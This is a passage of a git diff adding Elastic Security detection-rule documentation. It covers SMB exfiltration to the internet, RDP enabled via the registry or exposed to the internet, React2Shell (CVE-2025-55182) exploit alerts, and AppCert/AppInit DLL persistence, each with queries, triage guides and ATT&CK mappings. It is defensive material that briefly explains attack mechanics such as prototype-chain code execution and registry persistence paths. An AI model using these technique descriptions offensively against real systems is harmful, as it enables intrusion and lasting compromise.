+* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Rare SMB Connection to the Internet* + + +Server Message Block (SMB) is a protocol used for sharing files and printers within a network. Adversaries exploit SMB to exfiltrate data by injecting rogue paths to capture NTLM credentials. The detection rule identifies unusual SMB traffic from internal IPs to external networks, flagging potential exfiltration attempts by monitoring specific ports and excluding known safe IP ranges. + + +*Possible investigation steps* + + +- Review the alert details to identify the internal source IP address involved in the SMB connection and verify if it belongs to a known or authorized device within the organization. +- Check the destination IP address to determine if it is associated with any known malicious activity or if it belongs to an external network that should not be receiving SMB traffic from internal systems. +- Investigate the process with PID 4 on the source host, which typically corresponds to the Windows System process, to identify any unusual activity or recent changes that could indicate compromise or misuse. +- Analyze network logs to trace the SMB traffic flow and identify any patterns or additional connections that may suggest data exfiltration attempts. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context and determine if this is part of a larger attack campaign. +- Consult with the IT or network team to verify if there are any legitimate business reasons for the detected SMB traffic to the external network, and if not, consider blocking the connection and conducting a deeper investigation into the source host. + + +*False positive analysis* + + +- Internal network scanning tools may trigger alerts if they simulate SMB traffic to external IPs. Exclude IPs associated with these tools from the rule to prevent false positives. +- Legitimate business applications that require SMB connections to external cloud services might be flagged. Identify and whitelist these specific external IPs or domains to avoid unnecessary alerts. +- Backup solutions that use SMB for data transfer to offsite locations can be mistaken for exfiltration attempts. Ensure these backup service IPs are added to the exception list. +- Misconfigured network devices that inadvertently route SMB traffic externally could cause false alerts. Regularly audit and correct device configurations to minimize these occurrences. +- Security testing or penetration testing activities might generate SMB traffic to external IPs. Coordinate with security teams to temporarily disable the rule or add exceptions during testing periods. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further data exfiltration or lateral movement. +- Conduct a thorough review of the host's network connections and processes to identify any unauthorized SMB traffic or suspicious activities. +- Reset credentials for any accounts that may have been exposed or compromised, focusing on those with elevated privileges. +- Apply patches and updates to the affected system and any other vulnerable systems to mitigate known SMB vulnerabilities. +- Implement network segmentation to limit SMB traffic to only necessary internal communications, reducing the risk of external exposure. +- Enhance monitoring and logging for SMB traffic, particularly for connections to external IPs, to detect and respond to future anomalies more effectively. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:network and host.os.type:windows and process.pid:4 and + network.transport:tcp and destination.port:(139 or 445) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rdp-enabled-via-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rdp-enabled-via-registry.asciidoc new file mode 100644 index 0000000000..53acf1a386 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rdp-enabled-via-registry.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-rdp-enabled-via-registry]] +=== RDP Enabled via Registry + +Identifies registry write modifications to enable Remote Desktop Protocol (RDP) access. This could be indicative of adversary lateral movement preparation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating RDP Enabled via Registry* + + +Microsoft Remote Desktop Protocol (RDP) is a proprietary Microsoft protocol that enables remote connections to other computers, typically over TCP port 3389. + +Attackers can use RDP to conduct their actions interactively. Ransomware operators frequently use RDP to access victim servers, often using privileged accounts. + +This rule detects modification of the fDenyTSConnections registry key to the value `0`, which specifies that remote desktop connections are enabled. Attackers can abuse remote registry, use psexec, etc., to enable RDP and move laterally. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the user to check if they are aware of the operation. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check whether it makes sense to enable RDP to this host, given its role in the environment. +- Check if the host is directly exposed to the internet. +- Check whether privileged accounts accessed the host shortly after the modification. +- Review network events within a short timespan of this alert for incoming RDP connection attempts. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Check whether the user should be performing this kind of activity, whether they are aware of it, whether RDP should be open, and whether the action exposes the environment to unnecessary risks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If RDP is needed, make sure to secure it using firewall rules: + - Allowlist RDP traffic to specific trusted hosts. + - Restrict RDP logins to authorized non-administrator accounts, where possible. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "fDenyTSConnections" and + registry.data.strings : ("0", "0x00000000") and + not process.executable : ( + "?:\\Windows\\System32\\SystemPropertiesRemote.exe", + "?:\\Windows\\System32\\SystemPropertiesComputerName.exe", + "?:\\Windows\\System32\\SystemPropertiesAdvanced.exe", + "?:\\Windows\\System32\\SystemSettingsAdminFlows.exe", + "?:\\Windows\\WinSxS\\*\\TiWorker.exe", + "?:\\Windows\\system32\\svchost.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\SystemPropertiesRemote.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\SystemPropertiesComputerName.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\SystemPropertiesAdvanced.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\SystemSettingsAdminFlows.exe", + "\\Device\\HarddiskVolume*\\Windows\\WinSxS\\*\\TiWorker.exe", + "\\Device\\HarddiskVolume*\\Windows\\system32\\svchost.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rdp-remote-desktop-protocol-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rdp-remote-desktop-protocol-from-the-internet.asciidoc new file mode 100644 index 0000000000..7d3d0124f5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rdp-remote-desktop-protocol-from-the-internet.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-21-rdp-remote-desktop-protocol-from-the-internet]] +=== RDP (Remote Desktop Protocol) from the Internet + +This rule detects network events that may indicate the use of RDP traffic from the Internet. RDP is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Command and Control +* Tactic: Lateral Movement +* Tactic: Initial Access +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RDP (Remote Desktop Protocol) from the Internet* + + +RDP allows administrators to remotely manage systems, but exposing it to the internet poses security risks. Adversaries exploit RDP for unauthorized access, often using it as an entry point for attacks. The detection rule identifies suspicious RDP traffic by monitoring TCP connections on port 3389 from external IPs, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the source IP address flagged in the alert to determine if it is known or associated with any previous malicious activity. Check threat intelligence sources for any reported malicious behavior. +- Analyze the destination IP address to confirm it belongs to your internal network (10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16) and identify the specific system targeted by the RDP connection. +- Examine network logs for any unusual or unexpected RDP traffic patterns from the source IP, such as repeated connection attempts or connections at odd hours, which may indicate brute force attempts or unauthorized access. +- Check for any recent changes or updates to firewall rules or security policies that might have inadvertently exposed RDP to the internet. +- Investigate the user accounts involved in the RDP session to ensure they are legitimate and have not been compromised. Look for any signs of unauthorized access or privilege escalation. +- Correlate the RDP traffic with other security events or alerts to identify any potential lateral movement or further malicious activity within the network. + + +*False positive analysis* + + +- Internal testing or maintenance activities may trigger the rule if RDP is temporarily exposed to the internet. To manage this, create exceptions for known internal IP addresses or scheduled maintenance windows. +- Legitimate third-party vendors or partners accessing systems via RDP for support purposes can be mistaken for threats. Establish a list of trusted external IP addresses and exclude them from the rule. +- Misconfigured network devices or security tools might inadvertently expose RDP to the internet, leading to false positives. Regularly audit network configurations and update the rule to exclude known benign sources. +- Cloud-based services or remote work solutions that use RDP over the internet can be flagged. Identify and whitelist these services' IP ranges to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately block the external IP address identified in the alert from accessing the network to prevent further unauthorized RDP connections. +- Isolate the affected system from the network to contain any potential compromise and prevent lateral movement by the threat actor. +- Conduct a thorough review of the affected system for signs of compromise, such as unauthorized user accounts, changes in system configurations, or the presence of malware. +- Reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent unauthorized access. +- Apply security patches and updates to the affected system and any other systems with RDP enabled to mitigate known vulnerabilities. +- Implement network segmentation to restrict RDP access to only trusted internal IP addresses and consider using a VPN for secure remote access. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and (destination.port:3389 or data_stream.dataset:zeek.rdp) and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-react2shell-network-security-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-react2shell-network-security-alert.asciidoc new file mode 100644 index 0000000000..f9b0642c9b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-react2shell-network-security-alert.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-react2shell-network-security-alert]] +=== React2Shell Network Security Alert + +This rule identifies network security alerts related to CVE-2025-55182 exploitation attempts from different network security integrations. CVE-2025-55182 is a critical remote code execution vulnerability in React Server Components (RSC) Flight protocol. The vulnerability allows attackers to execute arbitrary code on the server by sending specially crafted deserialization payloads that exploit prototype chain traversal to access the Function constructor. + +*Rule type*: query + +*Rule indices*: + +* logs-panw.panos* +* logs-cisco_ftd.* +* logs-fortinet_fortigate.* +* logs-suricata.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182 +* https://github.com/assetnote/react2shell-scanner +* https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/ +* https://github.com/msanft/CVE-2025-55182 + +*Tags*: + +* Domain: Network +* Domain: Application +* Domain: Web +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Tactic: Execution +* Data Source: PAN-OS +* Data Source: Fortinet +* Data Source: Suricata +* Data Source: Cisco FTD +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating React2Shell Network Security Alert* + + +This rule detects exploitation attempts targeting CVE-2025-55182, a critical remote code execution vulnerability in React's Flight protocol used by Next.js and other RSC implementations. The vulnerability stems from insecure prototype chain traversal in the Flight deserializer, allowing attackers to access `__proto__`, `constructor`, and ultimately the `Function` constructor to execute arbitrary code. + + +*Possible investigation steps* + + +- Examine the full HTTP request body to identify the specific attack payload and command being executed. +- Check the response body for `E{"digest":"..."}` patterns which contain command output from successful exploitation. +- Identify the target application and verify if it runs vulnerable React (< 19.1.0) or Next.js (< 15.3.2) versions. +- Review the source IP for other reconnaissance or exploitation attempts against web applications. +- Check for the `Next-Action` header which is required for the exploit to work. +- Correlate with process execution logs to identify if child processes (e.g., shell commands) were spawned by the Node.js process. + + +*False positive analysis* + + +- Legitimate React Server Components traffic will NOT contain `__proto__`, `constructor:constructor`, or code execution patterns. +- Security scanning tools like react2shell-scanner may trigger this rule during authorized penetration testing. +- The combination of prototype pollution patterns with RSC-specific syntax is highly indicative of malicious activity. + + +*Response and remediation* + + +- Immediately update affected applications: React >= 19.1.0, Next.js >= 15.3.2. +- Block the source IP at the WAF/reverse proxy if exploitation is confirmed. +- If HTTP 500 or 303 responses with `digest` output were observed, assume successful code execution and investigate for compromise. +- Review server logs for evidence of command execution (file creation, network connections, process spawning). +- Implement WAF rules to block requests containing `__proto__` or `constructor:constructor` in POST bodies. + + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:"cisco_ftd.log" and message:"SERVER-WEBAPP React Server Components remote code execution attempt") or +(data_stream.dataset:"fortinet_fortigate.log" and message:"applications3: React.Server.Components.react-flight.Remote.Code.Execution") or +(data_stream.dataset:"panw.panos" and event.action:"exploit_detected" and event.original :*React*Server*) or +(data_stream.dataset:("suricata_corelight" or "suricata.eve") and rule.name:*CVE-2025-55182*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-registry-persistence-via-appcert-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-registry-persistence-via-appcert-dll.asciidoc new file mode 100644 index 0000000000..3c336b999a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-registry-persistence-via-appcert-dll.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-21-registry-persistence-via-appcert-dll]] +=== Registry Persistence via AppCert DLL + +Detects attempts to maintain persistence by creating registry keys using AppCert DLLs. AppCert DLLs are loaded by every process using the common API functions to create processes. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 417 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Registry Persistence via AppCert DLL* + + +AppCert DLLs are dynamic link libraries that can be configured to load with every process that uses common API functions to create processes on Windows systems. This feature is intended for legitimate use, such as application compatibility. However, adversaries can exploit this by inserting malicious DLLs into the registry path, ensuring their code executes persistently across system reboots. The detection rule identifies changes to specific registry paths associated with AppCert DLLs, flagging potential unauthorized modifications indicative of persistence or privilege escalation attempts. By monitoring these registry changes, security analysts can detect and respond to such threats effectively. + + +*Possible investigation steps* + + +- Review the specific registry path changes identified in the alert to confirm if they match the paths specified in the query: "HKLM\\SYSTEM\\*ControlSet*\\Control\\Session Manager\\AppCertDLLs\\*", "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Session Manager\\AppCertDLLs\\*", or "MACHINE\\SYSTEM\\*ControlSet*\\Control\\Session Manager\\AppCertDLLs\\*". +- Check the timestamp of the registry change event to determine when the modification occurred and correlate it with other system activities or logs around the same time. +- Identify the user account or process responsible for the registry modification by examining the event logs or security logs to determine if it was an authorized change or potentially malicious activity. +- Investigate the DLL file specified in the registry change for any known malicious signatures or behaviors using threat intelligence sources or antivirus tools. +- Analyze the system for any additional indicators of compromise or persistence mechanisms, such as unusual scheduled tasks, startup items, or other registry modifications. +- Review historical data to determine if similar registry changes have occurred in the past, which might indicate a recurring threat or persistent adversary activity. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify the AppCert DLL registry paths as part of their setup process. Users can handle these by creating exceptions for known and trusted software vendors. +- System administrators might intentionally configure AppCert DLLs for application compatibility purposes. To manage this, maintain a list of approved configurations and exclude these from alerts. +- Security tools or endpoint protection software might interact with these registry paths during routine scans or updates. Identify and whitelist these tools to prevent unnecessary alerts. +- Custom enterprise applications may use AppCert DLLs for legitimate process monitoring or enhancement. Collaborate with application developers to document these cases and exclude them from detection. +- Regular system maintenance scripts or group policies might inadvertently trigger changes in these registry paths. Review and adjust these scripts or policies to minimize false positives, or document and exclude them if they are necessary. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Use endpoint detection and response (EDR) tools to terminate any suspicious processes associated with the malicious AppCert DLLs identified in the registry paths. +- Remove the unauthorized AppCert DLL entries from the registry paths: HKLM\SYSTEM\*ControlSet*\Control\Session Manager\AppCertDLLs\* to eliminate persistence mechanisms. +- Conduct a thorough scan of the system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or remnants. +- Review and restore any system files or configurations that may have been altered by the malicious DLLs to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the specific registry paths and related process creation activities to detect any future unauthorized changes promptly. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Control\\Session Manager\\AppCertDLLs\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: AppCert DLLs +** ID: T1546.009 +** Reference URL: https://attack.mitre.org/techniques/T1546/009/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: AppCert DLLs +** ID: T1546.009 +** Reference URL: https://attack.mitre.org/techniques/T1546/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-registry-persistence-via-appinit-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-registry-persistence-via-appinit-dll.asciidoc new file mode 100644 index 0000000000..4bc89c4cf5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-registry-persistence-via-appinit-dll.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-21-registry-persistence-via-appinit-dll]] +=== Registry Persistence via AppInit DLL + +AppInit DLLs are dynamic-link libraries (DLLs) that are loaded into every process that creates a user interface (loads user32.dll) on Microsoft Windows operating systems. The AppInit DLL mechanism is used to load custom code into user-mode processes, allowing for the customization of the user interface and the behavior of Windows-based applications. Attackers who add those DLLs to the registry locations can execute code with elevated privileges, similar to process injection, and provide a solid and constant persistence on the machine. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Registry Persistence via AppInit DLL* + + +AppInit DLLs are dynamic-link libraries (DLLs) that are loaded into every process that creates a user interface (loads `user32.dll`) on Microsoft Windows operating systems. The AppInit DLL mechanism is used to load custom code into user-mode processes, allowing for the customization of the user interface and the behavior of Windows-based applications. + +Attackers who add those DLLs to the registry locations can execute code with elevated privileges, similar to process injection, and provide a solid and constant persistence on the machine. + +This rule identifies modifications on the AppInit registry keys. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Review the source process and related DLL file tied to the Windows Registry entry. + - Check whether the DLL is signed, and tied to a authorized program used on your environment. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Retrieve all DLLs under the AppInit registry keys: + - !{osquery{"label":"Osquery - Retrieve AppInit Registry Value","query":"SELECT * FROM registry r where (r.key == 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows'\nor r.key == 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows') and r.name ==\n'AppInit_DLLs'\n"}} +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable and the DLLs using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or 